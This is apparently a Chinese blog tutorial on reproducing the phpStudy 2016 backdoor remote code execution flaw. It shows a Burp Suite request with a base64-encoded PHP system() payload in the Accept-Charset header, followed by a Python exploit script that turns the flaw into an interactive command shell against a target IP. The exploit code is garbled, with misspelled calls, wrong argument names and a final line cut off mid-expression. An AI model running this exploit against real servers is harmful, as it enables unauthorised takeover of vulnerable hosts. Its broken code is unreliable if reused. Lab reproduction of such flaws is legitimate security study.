phpstudy_2016_RCE 漏洞复现以及exp编写

RCE漏洞

phpstudy漏洞复现

编写exp

RCE漏洞

         RCE(远程代码执行漏洞),可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。通常是由于服务器没有对执行的命令或代码做严格的过滤,最终导致攻击者上传的恶意命令或代码被执行。

phpstudy漏洞复现

        启动phpstudy,我使用的phpstudy版本是2016_5.4.45。

phpstudy_2016_RCE 漏洞复现以及exp编写_第1张图片

        访问phpstudy页面,使用bp抓包。

phpstudy_2016_RCE 漏洞复现以及exp编写_第2张图片

        将数据包发送至Repeater重放模块

phpstudy_2016_RCE 漏洞复现以及exp编写_第3张图片

         然后就是插入漏洞验证代码,可以看到重放包后页面返回了执行ipconfig后的回显

                Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==
                Accept-Encoding: gzip,deflate(原数据包内若已经有了记得去空格)

phpstudy_2016_RCE 漏洞复现以及exp编写_第4张图片

         ’c3lzdGVtKCdpcGNvbmZpZycpOw==‘其实就是ipconfig使用base64编码后的命令,也就是说我们可以通过修改数据包内容来达到远程命令执行的效果。

phpstudy_2016_RCE 漏洞复现以及exp编写_第5张图片

 编写exp

# phpstudy_2016_rce.py

import requests
import base64

while True:
    url = "http://192.168.66.29"
    inp = input("Please input:")
    cmd = f"system('{inp}');"        #编写命令执行代码
    cmd = base64.b64encode(cmd.encode())    #对代码进行base64编码

    headers = {
        "User-Agent"    :    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0)  Gecko/20100101 Firefox/115.0",
        "Accept-Charset"    :    cmd,                #构造头部  
        "Accept-Encoding"    :    "gzip,deflate"
    } 
    res = request.get(url = url , heraders = headers)    #请求包
    reslut = res.content.decode("gb2312")        #gb2312编码
    reslut = reslut[0:reslut.finf("

效果如下

phpstudy_2016_RCE 漏洞复现以及exp编写_第6张图片

        

你可能感兴趣的:(漏洞复现,网络,安全,python)